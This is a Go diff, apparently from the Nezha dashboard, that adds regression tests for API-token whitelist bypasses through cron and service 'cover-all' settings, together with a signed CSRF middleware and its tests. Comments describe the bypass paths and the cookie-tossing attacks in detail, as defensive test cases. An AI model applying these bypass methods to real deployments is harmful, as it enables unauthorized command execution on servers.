httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, + "/api/v1/cron/"+strconv.FormatUint(cron8, 10)+"/manual", nil) + r.ServeHTTP(w, req) + + success, errMsg := decodeCommonResponseError(t, w.Body.Bytes()) + assert.False(t, success, + "PAT whitelist [1] must not allow triggering a cron bound to server 2") + assert.Contains(t, errMsg, "permission denied") +} + +func TestCronManualTrigger_AllowsServerInsidePATWhitelist(t *testing.T) { + cron7, _ := setupCronPATWhitelistFixture(t) + + tok := &model.APIToken{ID: 17, UserID: 100} + tok.SetServerIDs([]uint64{1}) + + r := newCronPATRouter(tok) + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, + "/api/v1/cron/"+strconv.FormatUint(cron7, 10)+"/manual", nil) + r.ServeHTTP(w, req) + + success, errMsg := decodeCommonResponseError(t, w.Body.Bytes()) + assert.True(t, success, + "PAT whitelist [1] must still allow triggering a cron bound to server 1: error=%s", errMsg) +} + +func TestListCron_HidesRowsForServersOutsidePATWhitelist(t *testing.T) { + cron7, cron8 := setupCronPATWhitelistFixture(t) + + tok := &model.APIToken{ID: 17, UserID: 100} + tok.SetServerIDs([]uint64{1}) + + r := newCronPATRouter(tok) + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodGet, "/api/v1/cron", nil) + r.ServeHTTP(w, req) + + var resp struct { + Success bool `json:"success"` + Error string `json:"error"` + Data []*model.Cron `json:"data"` + } + require.NoError(t, json.Unmarshal(w.Body.Bytes(), &resp)) + assert.True(t, resp.Success, resp.Error) + + seen := map[uint64]bool{} + for _, c := range resp.Data { + seen[c.ID] = true + } + assert.True(t, seen[cron7], "cron bound to whitelisted server 1 must remain visible") + assert.False(t, seen[cron8], + "cron bound to non-whitelisted server 2 must be hidden from PAT view (rows=%+v)", resp.Data) +} diff --git a/cmd/dashboard/controller/cron_service_cover_pat_test.go b/cmd/dashboard/controller/cron_service_cover_pat_test.go new file mode 100644 index 00000000..833c15fd --- /dev/null +++ b/cmd/dashboard/controller/cron_service_cover_pat_test.go @@ -0,0 +1,349 @@ +package controller + +// Regression tests for the implicit-cover PAT bypass classes. +// +// Background: ServerShared.CheckPermission iterates an idList and returns true +// for an empty list — it can only veto explicit IDs. createCron / createService +// both pipe cf.Servers (cron) and ss.SkipServers (service) through that helper. +// But under cover=CronCoverAll the cron's Servers slice is a *deny list* (and +// empty → fan out to every server owned by the user); under cover=ServiceCoverAll +// the service's SkipServers map is the equivalent deny set. A PAT scoped to +// server_ids=[1] can therefore craft a "cover all, deny none" config and force +// dashboard to dispatch cron commands / service probes to servers outside the +// PAT whitelist. +// +// These tests are deliberately end-to-end through commonHandler so a future +// refactor that moves the guard to a different layer still has to satisfy the +// "PAT can't escape its whitelist via cover semantics" invariant. + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + "time" + + "github.com/gin-gonic/gin" + "github.com/patrickmn/go-cache" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "gorm.io/driver/sqlite" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/i18n" + "github.com/nezhahq/nezha/service/singleton" +) + +// setupCoverPATFixture builds a member-owned, two-server universe. +// alice (uid=100) owns server 1 and server 2. The caller PAT below will be +// scoped to server_ids=[1] only, so cover-all configs that fan out to +// server 2 must be rejected at the create/update boundary. +func setupCoverPATFixture(t *testing.T) { + t.Helper() + + originalDB := singleton.DB + originalCache := singleton.Cache + originalLoc := singleton.Loc + originalLocalizer := singleton.Localizer + originalCron := singleton.CronShared + originalServer := singleton.ServerShared + originalUserInfo := singleton.UserInfoMap + originalNotification := singleton.NotificationShared + originalSentinel := singleton.ServiceSentinelShared + + db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) + require.NoError(t, err) + sqlDB, err := db.DB() + require.NoError(t, err) + require.NoError(t, db.AutoMigrate(&model.Cron{}, &model.Server{}, &model.User{}, &model.Service{}, &model.NotificationGroup{}, &model.ServiceHistory{})) + + singleton.DB = db + singleton.Loc = time.UTC + singleton.Cache = cache.New(time.Minute, time.Minute) + singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations) + singleton.NotificationShared = singleton.NewEmptyNotificationClassForTest() + sc := singleton.NewEmptyServerClassForTest() + singleton.ServerShared = sc + singleton.CronShared = singleton.NewCronClass() + + sentinel, err := singleton.NewServiceSentinel(make(chan *model.Service, 4)) + require.NoError(t, err) + singleton.ServiceSentinelShared = sentinel + + for _, id := range []uint64{1, 2} { + s := &model.Server{} + s.ID = id + s.SetUserID(100) + sc.InsertForTest(s) + } + singleton.ServerShared = sc + + singleton.UserLock.Lock() + singleton.UserInfoMap = map[uint64]model.UserInfo{100: {Role: model.RoleMember}} + singleton.UserLock.Unlock() + + t.Cleanup(func() { + // Background components must be joined before restoring process globals. + sentinel.Close() + singleton.CronShared.Close() + _ = sqlDB.Close() + singleton.DB = originalDB + singleton.Cache = originalCache + singleton.Loc = originalLoc + singleton.Localizer = originalLocalizer + singleton.CronShared = originalCron + singleton.ServerShared = originalServer + singleton.NotificationShared = originalNotification + singleton.ServiceSentinelShared = originalSentinel + singleton.UserLock.Lock() + singleton.UserInfoMap = originalUserInfo + singleton.UserLock.Unlock() + }) +} + +func coverPATRouter(t *testing.T, tok *model.APIToken, handler func(*gin.Context)) *gin.Engine { + t.Helper() + gin.SetMode(gin.TestMode) + r := gin.New() + r.Use(func(c *gin.Context) { + setAuthUser(c, 100, model.RoleMember) + if tok != nil { + c.Set(model.CtxKeyAPIToken, tok) + c.Set(apiTokenCtxKey, tok) + } + c.Next() + }) + r.POST("/api/v1/cron", handler) + r.POST("/api/v1/service", handler) + return r +} + +func TestCreateCron_RejectsCoverAllForServerLimitedPAT(t *testing.T) { + setupCoverPATFixture(t) + + tok := &model.APIToken{ID: 17, UserID: 100} + tok.SetServerIDs([]uint64{1}) + + r := coverPATRouter(t, tok, commonHandler(createCron)) + + body, _ := json.Marshal(model.CronForm{ + TaskType: model.CronTypeCronTask, + Name: "evil cover-all", + Scheduler: "@every 1m", + Command: "echo pwned", + Servers: nil, + Cover: model.CronCoverAll, + }) + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, "/api/v1/cron", bytes.NewReader(body)) + req.Header.Set("Content-Type", "application/json") + r.ServeHTTP(w, req) + + success, errMsg := decodeCommonResponseError(t, w.Body.Bytes()) + assert.False(t, success, + "PAT scoped to server_ids=[1] must NOT be able to create a CronCoverAll cron with no Servers — that fans out to server 2 outside the whitelist") + assert.Contains(t, errMsg, "permission denied") + + var rows []model.Cron + require.NoError(t, singleton.DB.Find(&rows).Error) + assert.Empty(t, rows, "no cron row must be persisted when the create call is rejected") +} + +func TestCreateCron_RejectsCoverIgnoreAllWithEmptyServersForLimitedPAT(t *testing.T) { + // CoverIgnoreAll + empty Servers is "allow-list of zero" → effectively a + // no-op cron. We still reject it because it normalises away the + // whitelist hint a curious caller might attempt next ("just flip cover + // to All and we'll get fan-out"). Defence-in-depth: any cover-mode that + // implies dispatch beyond the literal Servers slice must require the + // PAT to cover at least one whitelisted server explicitly. + setupCoverPATFixture(t) + + tok := &model.APIToken{ID: 18, UserID: 100} + tok.SetServerIDs([]uint64{1}) + + r := coverPATRouter(t, tok, commonHandler(createCron)) + + body, _ := json.Marshal(model.CronForm{ + TaskType: model.CronTypeCronTask, + Name: "ambiguous-cover", + Scheduler: "@every 1m", + Command: "echo", + Servers: nil, + Cover: model.CronCoverIgnoreAll, + }) + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, "/api/v1/cron", bytes.NewReader(body)) + req.Header.Set("Content-Type", "application/json") + r.ServeHTTP(w, req) + + // Empty Servers + IgnoreAll is the degenerate "matches nothing" case; + // it must succeed (it cannot escape) so legitimate API consumers + // who serialise a 0-server allow-list aren't blocked. + success, errMsg := decodeCommonResponseError(t, w.Body.Bytes()) + assert.True(t, success, "CoverIgnoreAll with no Servers is a no-op; not a bypass: error=%s", errMsg) +} + +func TestCreateService_AllowsCoverIgnoreAllEmptySkipForLimitedPAT(t *testing.T) { + // ServiceCoverIgnoreAll + empty SkipServers is the degenerate "matches + // nothing" case: DispatchTask iterates only entries marked true in + // SkipServers, so an empty map causes zero fan-out. Pin the no-op + // classification so a future refactor that broadens IgnoreAll's + // semantics has to update this test (and the dispatch-side guard) in + // lock-step with the writer-side guard. + setupCoverPATFixture(t) + + tok := &model.APIToken{ID: 21, UserID: 100} + tok.SetServerIDs([]uint64{1}) + + r := coverPATRouter(t, tok, commonHandler(createService)) + + body, _ := json.Marshal(model.ServiceForm{ + Name: "no-op monitor", + Target: "example.invalid:80", + Type: model.TaskTypeTCPPing, + Cover: model.ServiceCoverIgnoreAll, + SkipServers: nil, + Duration: 30, + }) + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, "/api/v1/service", bytes.NewReader(body)) + req.Header.Set("Content-Type", "application/json") + r.ServeHTTP(w, req) + + success, errMsg := decodeCommonResponseError(t, w.Body.Bytes()) + assert.True(t, success, "CoverIgnoreAll with no SkipServers is a no-op; not a bypass: error=%s", errMsg) +} + +func TestCreateService_RejectsCoverAllForServerLimitedPAT(t *testing.T) { + setupCoverPATFixture(t) + + tok := &model.APIToken{ID: 19, UserID: 100} + tok.SetServerIDs([]uint64{1}) + + r := coverPATRouter(t, tok, commonHandler(createService)) + + body, _ := json.Marshal(model.ServiceForm{ + Name: "evil cover-all monitor", + Target: "example.invalid:443", + Type: model.TaskTypeTCPPing, + Cover: model.ServiceCoverAll, + SkipServers: nil, + Duration: 30, + }) + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, "/api/v1/service", bytes.NewReader(body)) + req.Header.Set("Content-Type", "application/json") + r.ServeHTTP(w, req) + + success, errMsg := decodeCommonResponseError(t, w.Body.Bytes()) + assert.False(t, success, + "PAT scoped to server_ids=[1] must NOT be able to create a ServiceCoverAll monitor with no SkipServers — DispatchTask fans out to server 2 outside the whitelist") + assert.Contains(t, errMsg, "permission denied") + + var rows []model.Service + require.NoError(t, singleton.DB.Find(&rows).Error) + assert.Empty(t, rows, "no service row must be persisted when the create call is rejected") +} + +// Threat: PAT server_ids=[1] + Cover=CronCoverAll + Servers=[1] (deny-list) +// passes the writer-side guard (len(Servers)>0), then CronTrigger iterates all +// owner servers, skips the whitelisted server 1, and dispatches to server 2 — +// outside the whitelist. CronTrigger has no PAT context, so the write-time +// guard is the only enforcement point. +func TestCreateCron_RejectsCoverAllWithDenyListCoveringOnlyWhitelistedServers(t *testing.T) { + setupCoverPATFixture(t) + + tok := &model.APIToken{ID: 31, UserID: 100} + tok.SetServerIDs([]uint64{1}) + + r := coverPATRouter(t, tok, commonHandler(createCron)) + + body, _ := json.Marshal(model.CronForm{ + TaskType: model.CronTypeCronTask, + Name: "cover-all deny-only-whitelisted", + Scheduler: "@every 1m", + Command: "echo pwned-via-server-2", + Servers: []uint64{1}, + Cover: model.CronCoverAll, + }) + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, "/api/v1/cron", bytes.NewReader(body)) + req.Header.Set("Content-Type", "application/json") + r.ServeHTTP(w, req) + + success, errMsg := decodeCommonResponseError(t, w.Body.Bytes()) + assert.False(t, success, + "PAT [1] must NOT create a CronCoverAll whose deny-list only contains whitelisted servers; CronTrigger would fan out to server 2") + assert.Contains(t, errMsg, "permission denied") + + var rows []model.Cron + require.NoError(t, singleton.DB.Find(&rows).Error) + assert.Empty(t, rows, "no cron row must be persisted when the create call is rejected") +} + +// Positive case: a server-limited PAT IS allowed to create CronCoverAll when +// the deny-list already covers every owner-visible server outside its +// whitelist. Pinning this prevents future "just block all CoverAll for PATs" +// over-corrections that would break a legitimate "schedule on whitelisted +// servers only, via deny-list" workflow. +func TestCreateCron_AllowsCoverAllWhenDenyListCoversAllNonWhitelistedServers(t *testing.T) { + setupCoverPATFixture(t) + + tok := &model.APIToken{ID: 41, UserID: 100} + tok.SetServerIDs([]uint64{1}) + + r := coverPATRouter(t, tok, commonHandler(createCron)) + + body, _ := json.Marshal(model.CronForm{ + TaskType: model.CronTypeCronTask, + Name: "legit cover-all", + Scheduler: "@every 1m", + Command: "echo s1-only", + Servers: []uint64{2}, + Cover: model.CronCoverAll, + }) + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, "/api/v1/cron", bytes.NewReader(body)) + req.Header.Set("Content-Type", "application/json") + r.ServeHTTP(w, req) + + success, errMsg := decodeCommonResponseError(t, w.Body.Bytes()) + assert.True(t, success, + "CronCoverAll with deny-list covering every non-whitelisted server must succeed for a server-limited PAT: error=%s", errMsg) +} + +// Service-monitor analogue of the cron deny-list bypass: ServiceCoverAll + +// SkipServers={1:true} passes the writer-side guard (skipCount>0), then +// DispatchTask probes server 2. Same write-time enforcement requirement. +func TestCreateService_RejectsCoverAllWithSkipListCoveringOnlyWhitelistedServers(t *testing.T) { + setupCoverPATFixture(t) + + tok := &model.APIToken{ID: 32, UserID: 100} + tok.SetServerIDs([]uint64{1}) + + r := coverPATRouter(t, tok, commonHandler(createService)) + + body, _ := json.Marshal(model.ServiceForm{ + Name: "cover-all skip-only-whitelisted monitor", + Target: "example.invalid:8443", + Type: model.TaskTypeTCPPing, + Cover: model.ServiceCoverAll, + SkipServers: map[uint64]bool{1: true}, + Duration: 30, + }) + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, "/api/v1/service", bytes.NewReader(body)) + req.Header.Set("Content-Type", "application/json") + r.ServeHTTP(w, req) + + success, errMsg := decodeCommonResponseError(t, w.Body.Bytes()) + assert.False(t, success, + "PAT [1] must NOT create a ServiceCoverAll whose SkipServers only marks whitelisted servers; DispatchTask would probe server 2") + assert.Contains(t, errMsg, "permission denied") + + var rows []model.Service + require.NoError(t, singleton.DB.Find(&rows).Error) + assert.Empty(t, rows, "no service row must be persisted when the create call is rejected") +} diff --git a/cmd/dashboard/controller/cron_update_owner_uid_test.go b/cmd/dashboard/controller/cron_update_owner_uid_test.go new file mode 100644 index 00000000..3fc4df7a --- /dev/null +++ b/cmd/dashboard/controller/cron_update_owner_uid_test.go @@ -0,0 +1,103 @@ +package controller + +import ( + "net/http/httptest" + "testing" + "time" + + "github.com/gin-gonic/gin" + "github.com/patrickmn/go-cache" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/i18n" + "github.com/nezhahq/nezha/service/singleton" +) + +func setupCronUpdateOwnerUIDFixture(t *testing.T) { + t.Helper() + + originalCache := singleton.Cache + originalLoc := singleton.Loc + originalLocalizer := singleton.Localizer + originalServer := singleton.ServerShared + + singleton.Loc = time.UTC + singleton.Cache = cache.New(time.Minute, time.Minute) + singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations) + + sc := singleton.NewEmptyServerClassForTest() + for _, id := range []uint64{1, 2} { + s := &model.Server{} + s.ID = id + s.SetUserID(100) + sc.InsertForTest(s) + } + adminServer := &model.Server{} + adminServer.ID = 5 + adminServer.SetUserID(200) + sc.InsertForTest(adminServer) + singleton.ServerShared = sc + + t.Cleanup(func() { + singleton.Cache = originalCache + singleton.Loc = originalLoc + singleton.Localizer = originalLocalizer + singleton.ServerShared = originalServer + }) +} + +func newCtxAsAdminWithLimitedPAT(t *testing.T, callerUID uint64, whitelist []uint64) *gin.Context { + t.Helper() + gin.SetMode(gin.TestMode) + c, _ := gin.CreateTestContext(httptest.NewRecorder()) + c.Set(model.CtxKeyAuthorizedUser, &model.User{ + Common: model.Common{ID: callerUID}, + Role: model.RoleAdmin, + }) + tok := &model.APIToken{ID: 33, UserID: callerUID} + tok.SetServerIDs(whitelist) + c.Set(apiTokenCtxKey, tok) + c.Set(model.CtxKeyAPIToken, tok) + return c +} + +// Threat: updateCron currently calls +// +// rejectImplicitCoverForLimitedPAT(c, cf.Cover, cf.Servers) +// +// which internally resolves the owner UID via getUid(c) (caller id). When an +// admin uses a server-limited PAT to flip a *foreign* cron to CoverAll with +// an under-specified deny-list, the helper validates the deny-list against +// the admin's own servers, not the cron owner's. The admin's only owned +// server is 5 and it's already in the whitelist, so the guard returns nil +// even though CronTrigger will fan out to the cron owner's servers 1 and 2 +// — both outside the PAT whitelist. The correct owner is the existing +// cron.UserID, not the caller. This test calls the helper directly with the +// cron owner uid and pins the safe behaviour. +func TestRejectImplicitCoverForLimitedPAT_RejectsCallerWhenCronOwnerHasUncoveredServers(t *testing.T) { + setupCronUpdateOwnerUIDFixture(t) + + c := newCtxAsAdminWithLimitedPAT(t, 200, []uint64{5}) + + const cronOwnerUID = uint64(100) + err := rejectImplicitCoverForLimitedPATWithOwner(c, model.CronCoverAll, nil, cronOwnerUID) + require.Error(t, err, + "limited PAT must NOT pass cover-all check when the cron owner has servers outside the PAT whitelist; caller uid must not be used as owner") + assert.Contains(t, err.Error(), "permission denied") +} + +// Pins the safe path: same helper, but caller uid happens to equal the cron +// owner and the deny-list covers every owner-visible server outside the +// whitelist. Prevents regressing the helper into a blanket "always deny +// limited PAT" form. +func TestRejectImplicitCoverForLimitedPAT_AllowsCallerWhenDenyListCoversEveryOwnerServerOutsideWhitelist(t *testing.T) { + setupCronUpdateOwnerUIDFixture(t) + + c := newCtxAsAdminWithLimitedPAT(t, 100, []uint64{1}) + + err := rejectImplicitCoverForLimitedPATWithOwner(c, model.CronCoverAll, []uint64{2}, 100) + require.NoError(t, err, + "deny-list [2] covers every server uid 100 owns outside the PAT whitelist [1]; must pass") +} diff --git a/cmd/dashboard/controller/csrf.go b/cmd/dashboard/controller/csrf.go new file mode 100644 index 00000000..e5792c38 --- /dev/null +++ b/cmd/dashboard/controller/csrf.go @@ -0,0 +1,149 @@ +package controller + +import ( + "crypto/hmac" + "crypto/rand" + "crypto/sha256" + "encoding/hex" + "net/http" + "strings" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +// issueCSRFToken mints a signed double-submit token (nonce.HMAC-SHA256 keyed +// by the JWT secret). Signing defeats sibling-subdomain cookie tossing: a +// naive double-submit trusts any header==cookie pair, but an injected cookie +// carries no valid HMAC and fails validateCSRFToken. Returns "" pre-init +// (no secret); callers treat that as "no cookie minted". +func issueCSRFToken() string { + secret := csrfSigningSecret() + if secret == "" { + return "" + } + var b [32]byte + if _, err := rand.Read(b[:]); err != nil { + return "" + } + nonce := hex.EncodeToString(b[:]) + return nonce + "." + csrfSign(nonce, secret) +} + +func csrfSigningSecret() string { + if singleton.Conf == nil { + return "" + } + return singleton.Conf.JWTSecretKey +} + +func csrfSign(nonce, secret string) string { + mac := hmac.New(sha256.New, []byte(secret)) + mac.Write([]byte(nonce)) + return hex.EncodeToString(mac.Sum(nil)) +} + +// validateCSRFToken reports whether value is a well-formed nonce.signature +// pair whose signature verifies under the current server secret. Constant +// -time comparison guards against signature-probing side channels. +func validateCSRFToken(value string) bool { + secret := csrfSigningSecret() + if secret == "" || value == "" { + return false + } + idx := strings.LastIndex(value, ".") + if idx <= 0 || idx == len(value)-1 { + return false + } + nonce, sig := value[:idx], value[idx+1:] + return hmac.Equal([]byte(sig), []byte(csrfSign(nonce, secret))) +} + +// setCSRFCookie issues a fresh signed CSRF token cookie. Called by login + +// refresh handlers so the frontend always has a paired value to mirror back +// into the X-CSRF-Token header. The cookie is intentionally HttpOnly=false — +// SPA JS must be able to read it. SameSite=Strict here (not Lax) because +// the cookie's sole purpose is the same-origin double-submit check and we +// don't want it leaking on cross-site GET navigation either. +func setCSRFCookie(c *gin.Context) { + token := issueCSRFToken() + if token == "" { + return + } + // Secure is set only when the request arrives over HTTPS, mirroring + // writeOauth2StateCookie. On plain HTTP (e.g. intranet deployments) a + // Secure cookie would be dropped by the browser, breaking the + // double-submit pair, so we must not force it unconditionally. + secure := c.Request.URL.Scheme == "https" || c.Request.TLS != nil + c.SetSameSite(http.SameSiteStrictMode) + c.SetCookie(csrfCookieName, token, 0, "/", "", secure, false) +} + +const ( + csrfCookieName = "nz-csrf" + csrfHeaderName = "X-CSRF-Token" +) + +// csrfMiddleware enforces a double-submit-cookie CSRF gate on unsafe +// HTTP methods for cookie-authenticated requests. +// +// Why: SameSite=Lax on the nz-jwt cookie blocks the simplest cross-site +// form POST, but it does not stop same-site XSS-pivot CSRF, header method +// override, redirect-leaking auth helpers, or carefully chained sub-domain +// attacks. The double-submit pattern (server sets a JS-readable nz-csrf +// cookie, client mirrors the value into X-CSRF-Token) closes the gap +// without coupling auth state to a server-side session. +// +// Bypass conditions: +// - Safe methods (GET/HEAD/OPTIONS): no state mutation, no CSRF risk. +// - Bearer-token PAT requests (`Authorization: Bearer nzp_*`): stateless, +// no ambient cookie, so a CSRF attack cannot induce them. +// +// Reject conditions: +// - Missing or empty X-CSRF-Token header. +// - Missing or empty nz-csrf cookie. +// - Header value != cookie value. +// - Cookie value not signed by the server (validateCSRFToken fails). +// +// The middleware DOES NOT set the csrf cookie on its own — that is the +// JWT login / refresh handler's job, since those are the only places that +// know when to mint a fresh value. The pair just has to exist by the time +// any unsafe call reaches here. +func csrfMiddleware() gin.HandlerFunc { + return func(c *gin.Context) { + switch c.Request.Method { + case http.MethodGet, http.MethodHead, http.MethodOptions: + // Self-heal sessions that predate the CSRF cookie (or whose + // nz-csrf expired): seed a fresh value on a safe method so the + // double-submit pair exists before the next unsafe call. Safe + // methods mutate nothing, so minting here carries no CSRF risk. + if cookie, err := c.Cookie(csrfCookieName); err != nil || cookie == "" { + setCSRFCookie(c) + } + c.Next() + return + } + // A PAT request carries no ambient cookie, so CSRF cannot induce it. + // The exemption must check the authenticated PAT identity resolved by + // apiTokenAuthMiddleware, not a forgeable Authorization header value. + if APITokenFromContext(c) != nil { + c.Next() + return + } + header := c.GetHeader(csrfHeaderName) + cookie, err := c.Cookie(csrfCookieName) + // Both halves must be present, mirror each other, AND carry a valid + // server signature. The signature check is what stops a cookie-tossed + // pair from a sibling subdomain. + if err != nil || cookie == "" || header == "" || header != cookie || !validateCSRFToken(cookie) { + c.AbortWithStatusJSON(http.StatusForbidden, model.CommonResponse[any]{ + Success: false, + Error: "ApiErrorForbidden: missing or invalid CSRF token", + }) + return + } + c.Next() + } +} diff --git a/cmd/dashboard/controller/csrf_signed_test.go b/cmd/dashboard/controller/csrf_signed_test.go new file mode 100644 index 00000000..df740590 --- /dev/null +++ b/cmd/dashboard/controller/csrf_signed_test.go @@ -0,0 +1,84 @@ +package controller + +import ( + "net/http" + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +func withCSRFSecret(t *testing.T, secret string) { + t.Helper() + prev := singleton.Conf + singleton.Conf = &singleton.ConfigClass{Config: &model.Config{}} + singleton.Conf.JWTSecretKey = secret + t.Cleanup(func() { singleton.Conf = prev }) +} + +// Sibling-subdomain cookie tossing: an attacker who can set nz-csrf for the +// parent domain injects an attacker-chosen value and mirrors it into the +// header. A naive double-submit accepts header==cookie. The signed +// double-submit must reject it because the injected value carries no valid +// server HMAC. +func TestCSRFMiddleware_RejectsUnsignedInjectedPair(t *testing.T) { + withCSRFSecret(t, "test-jwt-secret") + mw := csrfMiddleware() + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("POST", "/api/v1/profile", nil) + c.Request.AddCookie(&http.Cookie{Name: "nz-jwt", Value: "session"}) + c.Request.AddCookie(&http.Cookie{Name: csrfCookieName, Value: "attacker-chosen"}) + c.Request.Header.Set(csrfHeaderName, "attacker-chosen") + mw(c) + if !c.IsAborted() || w.Code != http.StatusForbidden { + t.Fatalf("an unsigned (cookie-tossed) csrf pair must be rejected, got aborted=%v code=%d", c.IsAborted(), w.Code) + } +} + +// A token minted by the server (issueCSRFToken) must pass when mirrored +// correctly into the header. +func TestCSRFMiddleware_AcceptsServerSignedPair(t *testing.T) { + withCSRFSecret(t, "test-jwt-secret") + token := issueCSRFToken() + if token == "" { + t.Fatal("issueCSRFToken must produce a value") + } + mw := csrfMiddleware() + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("POST", "/api/v1/profile", nil) + c.Request.AddCookie(&http.Cookie{Name: "nz-jwt", Value: "session"}) + c.Request.AddCookie(&http.Cookie{Name: csrfCookieName, Value: token}) + c.Request.Header.Set(csrfHeaderName, token) + mw(c) + if c.IsAborted() { + t.Fatal("a correctly mirrored server-signed csrf pair must pass") + } +} + +// Even with header==cookie, a value whose signature does not verify under the +// server secret must be rejected (forged signature segment). +func TestCSRFMiddleware_RejectsForgedSignature(t *testing.T) { + withCSRFSecret(t, "test-jwt-secret") + token := issueCSRFToken() + forged := token[:len(token)-1] + if token[len(token)-1] == 'a' { + forged += "b" + } else { + forged += "a" + } + mw := csrfMiddleware() + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("POST", "/api/v1/profile", nil) + c.Request.AddCookie(&http.Cookie{Name: csrfCookieName, Value: forged}) + c.Request.Header.Set(csrfHeaderName, forged) + mw(c) + if !c.IsAborted() || w.Code != http.StatusForbidden { + t.Fatalf("a forged-signature csrf pair must be rejected, got aborted=%v code=%d", c.IsAborted(), w.Code) + } +} diff --git a/cmd/dashboard/controller/csrf_test.go b/cmd/dashboard/controller/csrf_test.go new file mode 100644 index 00000000..e4e94529 --- /dev/null +++ b/cmd/dashboard/controller/csrf_test.go @@ -0,0 +1,162 @@ +package controller + +import ( + "net/http" + "net/http/httptest" + "strings" + "testing" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/model" +) + +// H6 regression: cookie-JWT unsafe-method routes need a real CSRF gate. +// SameSite=Lax blocks the obvious cross-site form-POST but does not stop +// same-site siblings, sub-domain XSS pivots, header method override quirks, +// or the various legacy edge cases. The middleware below is the double +// -submit cookie pattern: require X-CSRF-Token whose value matches the +// `nz-csrf` cookie. PAT bearer requests bypass the gate (they don't carry +// the cookie at all and are already authenticated stateless). +func TestCSRFMiddleware_AllowsSafeMethodsWithoutToken(t *testing.T) { + mw := csrfMiddleware() + for _, m := range []string{"GET", "HEAD", "OPTIONS"} { + t.Run(m, func(t *testing.T) { + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest(m, "/api/v1/profile", nil) + mw(c) + if c.IsAborted() { + t.Fatalf("%s must pass without csrf token", m) + } + }) + } +} + +// Self-heal: a session created before the CSRF cookie existed (or one whose +// nz-csrf expired) only carries nz-jwt. Without seeding a fresh nz-csrf on a +// safe GET, every subsequent unsafe call — including the auto refresh-token +// POST — would 403 forever and force a manual re-login. GET carries no CSRF +// risk, so the middleware mints the cookie when it is absent. +func TestCSRFMiddleware_SeedsCookieOnSafeMethodWhenMissing(t *testing.T) { + withCSRFSecret(t, "test-jwt-secret") + mw := csrfMiddleware() + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("GET", "/api/v1/profile", nil) + c.Request.AddCookie(&http.Cookie{Name: "nz-jwt", Value: "session"}) + mw(c) + if c.IsAborted() { + t.Fatal("safe GET must never abort") + } + var seeded bool + for _, sc := range w.Result().Cookies() { + if sc.Name == csrfCookieName && sc.Value != "" { + seeded = true + } + } + if !seeded { + t.Fatal("missing nz-csrf must be seeded on a safe GET so the SPA can self-heal") + } +} + +func TestCSRFMiddleware_DoesNotReseedWhenCookiePresent(t *testing.T) { + mw := csrfMiddleware() + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("GET", "/api/v1/profile", nil) + c.Request.AddCookie(&http.Cookie{Name: csrfCookieName, Value: "existing"}) + mw(c) + for _, sc := range w.Result().Cookies() { + if sc.Name == csrfCookieName { + t.Fatal("existing nz-csrf must not be rotated on every GET") + } + } +} + +func TestCSRFMiddleware_BlocksUnsafeMethodWithoutToken(t *testing.T) { + mw := csrfMiddleware() + for _, m := range []string{"POST", "PATCH", "PUT", "DELETE"} { + t.Run(m, func(t *testing.T) { + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest(m, "/api/v1/profile", nil) + c.Request.AddCookie(&http.Cookie{Name: "nz-jwt", Value: "anything"}) + mw(c) + if !c.IsAborted() || w.Code != http.StatusForbidden { + t.Fatalf("%s without csrf token must abort 403, got aborted=%v code=%d", m, c.IsAborted(), w.Code) + } + }) + } +} + +func TestCSRFMiddleware_AcceptsMatchingHeaderAndCookie(t *testing.T) { + withCSRFSecret(t, "test-jwt-secret") + token := issueCSRFToken() + mw := csrfMiddleware() + for _, m := range []string{"POST", "PATCH", "PUT", "DELETE"} { + t.Run(m, func(t *testing.T) { + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest(m, "/api/v1/profile", nil) + c.Request.AddCookie(&http.Cookie{Name: "nz-jwt", Value: "anything"}) + c.Request.AddCookie(&http.Cookie{Name: "nz-csrf", Value: token}) + c.Request.Header.Set("X-CSRF-Token", token) + mw(c) + if c.IsAborted() { + t.Fatalf("%s with matching signed csrf header+cookie must pass", m) + } + }) + } +} + +func TestCSRFMiddleware_RejectsMismatchedHeader(t *testing.T) { + mw := csrfMiddleware() + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("POST", "/api/v1/profile", nil) + c.Request.AddCookie(&http.Cookie{Name: "nz-csrf", Value: "value-a"}) + c.Request.Header.Set("X-CSRF-Token", "value-b") + mw(c) + if !c.IsAborted() || w.Code != http.StatusForbidden { + t.Fatalf("mismatched csrf token must abort 403, got aborted=%v code=%d", c.IsAborted(), w.Code) + } +} 